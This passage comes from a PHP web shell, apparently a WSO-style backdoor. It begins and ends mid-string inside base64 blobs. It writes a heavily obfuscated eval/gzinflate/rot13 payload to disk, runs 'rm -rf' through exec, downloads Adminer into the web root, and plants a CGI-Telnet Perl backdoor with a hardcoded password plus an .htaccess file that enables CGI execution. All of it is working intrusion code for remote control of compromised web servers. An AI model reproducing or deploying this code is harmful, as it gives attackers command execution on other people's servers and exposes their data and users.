MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";
        $mass = fopen($file_mass, "w");
        fwrite($mass, "<?pHp \$hex = \"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\";\neval(str_rot13(gzinflate(str_rot13(base64_decode((\$hex)))))); ");
        echo "<br><center>  <iframe src='hex_tools/conf.php' width='900' height='480'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionLogout()
    {
        exec("rm -rf hex_tools hex_cgi adminer.php");
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die("</br></br><body bgcolor='#000000'><pre align=center><form method=post style='color:#ffffff;text-align: center;'>Bye -,-<br><br></form> </body>");
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes') {
            if (@unlink("/var/www/html/wso.php.608bf58698032fab0825cf140b7a4a09.bin")) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST['p1'] != 'yes') {
            hardHeader();
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        hardFooter();
    }
    function actionInfect()
    {
        hardHeader();
        $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
        function adminer($url, $isi)
        {
            $fp = fopen($isi, "w");
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            return curl_exec($ch);
        }
        if (file_exists('adminer.php')) {
            echo "<center><font color=white><br><br><a href='{$full}/adminer.php' target='_blank'>-> adminer login <-</a><br><br><br></font></center>";
        } else {
            if (adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php", "adminer.php")) {
                echo "<center><font color=white><br><br><a href='{$full}/adminer.php' target='_blank'>-> adminer login <-</a><br><br></font></center>";
            } else {
                echo "<center><font color=red>gagal buat file adminer</font></center>";
            }
        }
        hardFooter();
    }
    function actionBruteforce()
    {
        hardHeader();
        echo "<center><h1>Cgi Telnet</h1><div class=content><br>";
        $cgi_dir = mkdir('hex_cgi', 0755);
        chdir('hex_cgi');
        $file_cgi = "cgi.hex";
        $memeg = ".htaccess";
        $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .hex \n AddHandler cgi-script .hex \n AddHandler cgi-script .hex";
        $htcgi = fopen(".htaccess", "w");
        $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+Q0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGly